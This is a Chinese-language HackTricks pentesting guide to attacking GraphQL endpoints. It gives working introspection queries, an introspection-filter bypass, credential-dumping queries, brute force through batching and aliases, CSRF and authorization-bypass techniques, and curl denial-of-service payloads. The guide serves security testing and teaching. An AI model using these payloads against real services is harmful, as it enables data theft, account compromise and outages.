GraphQL
Reading time: 36 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
介绍
GraphQL 被 强调 为 REST API 的 高效替代方案,提供了一种简化的方式来从后端查询数据。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 单个请求 获取所有所需的信息。这种简化显著 有利于开发者,减少了他们的数据获取过程的复杂性。
GraphQL 和安全性
随着新技术的出现,包括 GraphQL,新的安全漏洞也随之出现。一个关键点是 GraphQL 默认不包含身份验证机制。开发者有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。
目录暴力攻击和 GraphQL
为了识别暴露的 GraphQL 实例,建议在目录暴力攻击中包含特定路径。这些路径包括:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点可访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息,请参阅 GraphQL 关于自省的文档:GraphQL: A query language for APIs.
指纹识别
工具 graphw00f 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有帮助的信息。
通用查询
要检查一个 URL 是否为 GraphQL 服务,可以发送一个 通用查询,query{__typename}
。如果响应包含 {"data": {"__typename": "Query"}}
,则确认该 URL 托管了一个 GraphQL 端点。此方法依赖于 GraphQL 的 __typename
字段,该字段揭示了被查询对象的类型。
query{__typename}
基本枚举
Graphql 通常支持 GET、POST (x-www-form-urlencoded) 和 POST(json)。虽然出于安全考虑,建议仅允许 json 以防止 CSRF 攻击。
反向查询
要使用反向查询发现架构信息,请查询 __schema
字段。该字段在所有查询的根类型上可用。
query={__schema{types{name,fields{name}}}}
使用此查询,您将找到所有正在使用的类型的名称:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
通过这个查询,您可以提取所有类型、字段及其参数(以及参数的类型)。这将非常有助于了解如何查询数据库。
错误
了解错误是否会被显示是很有趣的,因为它们将提供有用的信息。
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
通过自省枚举数据库模式
note
如果启用了自省但上述查询无法运行,请尝试从查询结构中删除 onOperation
、onFragment
和 onField
指令。
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
内联自省查询:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
最后一行代码是一个graphql查询,将转储所有的元信息(对象名称、参数、类型...)
如果启用了自省,您可以使用 GraphQL Voyager 在图形用户界面中查看所有选项。
查询
现在我们知道数据库中保存了哪种信息,让我们尝试 提取一些值。
在自省中,您可以找到 可以直接查询的对象(因为您不能仅仅因为对象存在就查询它)。在下图中,您可以看到 "queryType" 被称为 "Query",而 "Query" 对象的一个字段是 "flags",这也是一种对象类型。因此,您可以查询标志对象。
请注意,查询 "flags" 的类型是 "Flags",该对象定义如下:
您可以看到 "Flags" 对象由 name 和 value 组成。然后,您可以使用查询获取所有标志的名称和值:
query={flags{name, value}}
请注意,如果查询的对象是像字符串这样的原始****类型,如以下示例所示
您可以直接查询:
query = { hiddenFlags }
在另一个例子中,"Query" 类型对象中有两个对象:"user" 和 "users"。
如果这些对象不需要任何参数进行搜索,可以直接请求所需的数据来检索所有信息。在这个互联网示例中,你可以提取保存的用户名和密码:
然而,在这个例子中,如果你尝试这样做,你会得到这个错误:
看起来它会使用类型为 Int 的 "uid" 参数进行搜索。
无论如何,我们已经知道,在 Basic Enumeration 部分提出了一个查询,显示了所有所需的信息:query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
如果你阅读提供的图像,当我运行该查询时,你会看到 "user" 有类型为 Int 的 arg "uid"。
因此,通过一些轻量级的 uid 暴力破解,我发现 _uid=1 时检索到了一个用户名和密码:
query={user(uid:1){user,password}}
注意,我发现我可以请求 参数 "user" 和 "password",因为如果我尝试查找不存在的内容 (query={user(uid:1){noExists}}
),我会得到这个错误:
在枚举阶段,我发现 "dbuser" 对象的字段有 "user" 和 "password"。
查询字符串转储技巧(感谢 @BinaryShadow_)
如果你可以通过字符串类型进行搜索,例如:query={theusers(description: ""){username,password}}
,并且你搜索一个空字符串,它将转储所有数据。 (注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "description" 的字符串字段使用 "theusers" 进行搜索)。
搜索
在这个设置中,一个数据库包含人员和电影。人员通过他们的电子邮件和姓名进行识别;电影通过它们的名称和评分进行识别。人员可以互为朋友,并且也有电影,表示数据库中的关系。
你可以通过姓名搜索人员并获取他们的电子邮件:
{
searchPerson(name: "John Doe") {
email
}
}
您可以通过姓名搜索人员并获取他们订阅的电影:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
注意如何指示检索该人的 subscribedMovies
的 name
。
您还可以同时搜索多个对象。在这种情况下,搜索了 2 部电影:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
或者甚至使用别名的多个不同对象的关系:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
变更用于在服务器端进行更改。
在 introspection 中可以找到 声明的 变更。在下图中,"MutationType" 被称为 "Mutation",而 "Mutation" 对象包含变更的名称(在本例中为 "addPerson"):
在此设置中,数据库 包含 人员 和 电影。人员 通过他们的 电子邮件 和 姓名 进行识别;电影 通过它们的 名称 和 评分 进行识别。人员 可以互为朋友,并且也可以拥有电影,表示数据库中的关系。
一个 在数据库中创建新 电影的变更可以如下所示(在此示例中,变更被称为 addMovie
):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
注意查询中如何指示值和数据类型。
此外,数据库支持一个 mutation 操作,名为 addPerson
,允许创建 persons 及其与现有 friends 和 movies 的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,然后才能将它们链接到新创建的人。
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
指令重载
正如在本报告中描述的漏洞之一中所解释的,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能导致拒绝服务(DoS)。
在1个API请求中批量暴力破解
此信息来自https://lab.wallarm.com/graphql-batching-attack/。
通过GraphQL API进行身份验证,同时发送多个不同凭据的查询进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
下面是一个应用程序身份验证请求的最简单演示,一次有3个不同的电子邮件/密码对。显然,可以以相同的方式在单个请求中发送数千个:
从响应截图中可以看到,第一个和第三个请求返回了_null_,并在_error_部分反映了相应的信息。第二个变更具有正确的身份验证数据,响应中包含正确的身份验证会话令牌。
无需自省的GraphQL
越来越多的graphql端点正在禁用自省。然而,当收到意外请求时,graphql抛出的错误足以让像clairvoyance这样的工具重建大部分架构。
此外,Burp Suite扩展GraphQuail 观察通过Burp的GraphQL API请求并构建一个内部GraphQL 架构,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,请查看此处。
一个很好的词表可以在这里发现GraphQL实体。
绕过GraphQL自省防御
为了绕过API中对自省查询的限制,在__schema
关键字后插入特殊字符被证明是有效的。这种方法利用了开发人员在试图通过关注__schema
关键字来阻止自省时常见的正则表达式模式的疏忽。通过添加像空格、换行符和逗号这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在__schema
后面带有换行符的自省查询可能会绕过这样的防御:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
如果不成功,请考虑其他请求方法,例如 GET 请求 或 使用 x-www-form-urlencoded
的 POST 请求,因为限制可能仅适用于 POST 请求。
尝试 WebSockets
正如在 这个演讲 中提到的,检查是否可以通过 WebSockets 连接到 graphQL,因为这可能允许您绕过潜在的 WAF,并使 websocket 通信泄露 graphQL 的架构:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
发现暴露的 GraphQL 结构
当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 Sources
选项卡找到,提供有关 API 架构的见解,并揭示潜在的 暴露敏感查询。在开发者工具中搜索的命令是:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
GraphQL中的CSRF
如果你不知道什么是CSRF,请阅读以下页面:
CSRF (Cross Site Request Forgery)
在外面,你将能够找到几个未配置CSRF令牌的GraphQL端点。
请注意,GraphQL请求通常通过使用Content-Type **application/json
**的POST请求发送。
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
然而,大多数 GraphQL 端点也支持 form-urlencoded
POST 请求:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
因此,由于像之前那样的 CSRF 请求是 在没有预检请求的情况下 发送的,因此可以 执行 更改 在 GraphQL 中利用 CSRF。
但是,请注意,Chrome 的 samesite
标志的新默认 cookie 值为 Lax
。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。
请注意,通常也可以将 查询 请求 作为 GET 请求 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。
此外,利用 XS-Search 攻击 可能能够从 GraphQL 端点中窃取内容,利用用户的凭据。
有关更多信息 请查看 原始帖子在这里。
GraphQL 中的跨站 WebSocket 劫持
类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 跨站 WebSocket 劫持,以利用未保护的 cookie 进行 GraphQL 身份验证,并使用户在 GraphQL 中执行意外操作。
有关更多信息,请查看:
GraphQL 中的授权
在端点上定义的许多 GraphQL 函数可能仅检查请求者的身份验证,而不检查授权。
修改查询输入变量可能导致敏感账户详细信息 泄露。
变更甚至可能导致账户接管,试图修改其他账户数据。
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
绕过 GraphQL 中的授权
将查询链接在一起可以绕过一个弱认证系统。
在下面的示例中,您可以看到操作是“forgotPassword”,并且它应该只执行与之关联的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加“register”和一个用户变量,以便系统注册为新用户。
使用 GraphQL 中的别名绕过速率限制
在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时明确命名属性。这个能力对于在单个请求中检索同一类型对象的多个实例特别有用。别名可以用来克服 GraphQL 对象不能有多个同名属性的限制。
要详细了解 GraphQL 别名,推荐以下资源:Aliases。
虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制HTTP 请求的数量来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。
考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询中的多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 Denial of Service (DoS)。例如,在下面的查询中,同一字段 (expensiveField
) 被请求了 1,000 次,使用别名强迫后端计算 1,000 次,可能会耗尽 CPU 或内存:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
为了缓解这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。
基于数组的查询批处理
基于数组的查询批处理 是一种漏洞,其中 GraphQL API 允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致 服务拒绝(DoS)。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
在这个例子中,10个不同的查询被批处理成一个请求,迫使服务器同时执行所有查询。如果利用更大的批处理大小或计算开销大的查询,这可能会使服务器过载。
指令过载漏洞
指令过载发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负,特别是当服务器反复处理相同的指令逻辑时。如果没有适当的验证或限制,攻击者可以通过构造一个包含大量重复指令的查询来利用这一点,从而触发高计算或内存使用,导致服务拒绝(DoS)。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
请注意,在前面的示例中,@aa
是一个自定义指令,可能未被声明。通常存在的一个常见指令是 @include
:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
您还可以发送一个 introspection 查询以发现所有声明的指令:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
然后使用一些自定义的。
字段重复漏洞
字段重复是一种漏洞,其中GraphQL服务器允许查询中同一字段重复过多。这迫使服务器为每个实例冗余地解析该字段,消耗大量资源(CPU、内存和数据库调用)。攻击者可以构造包含数百或数千个重复字段的查询,导致高负载,并可能导致服务拒绝(DoS)。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
工具
漏洞扫描器
- https://github.com/dolevf/graphql-cop: 测试graphql端点的常见错误配置
- https://github.com/assetnote/batchql: 重点进行批量GraphQL查询和变更的GraphQL安全审计脚本。
- https://github.com/dolevf/graphw00f: 指纹识别正在使用的graphql
- https://github.com/gsmith257-cyber/GraphCrawler: 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找特定类型路径的工具包。
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: 可作为独立工具或Burp扩展使用。
- https://github.com/swisskyrepo/GraphQLmap: 也可以作为CLI客户端使用以自动化攻击
- https://gitlab.com/dee-see/graphql-path-enum: 列出在GraphQL模式中到达特定类型的不同方式的工具。
- https://github.com/doyensec/GQLSpection: Standalone和CLI模式的继任者InQL
- https://github.com/doyensec/inql: 用于高级GraphQL测试的Burp扩展。_扫描器是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。攻击者_组件允许您运行批量GraphQL攻击,这对于绕过实现不佳的速率限制非常有用。
- https://github.com/nikitastupin/clairvoyance: 尝试通过使用一些Graphql数据库的帮助,即使在禁用自省的情况下也获取模式,这些数据库将建议变更和参数的名称。
客户端
- https://github.com/graphql/graphiql: GUI客户端
- https://altair.sirmuel.design/: GUI客户端
自动测试
https://graphql-dashboard.herokuapp.com/
- 解释AutoGraphQL的视频: https://www.youtube.com/watch?v=JJmufWfVvyU
参考
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。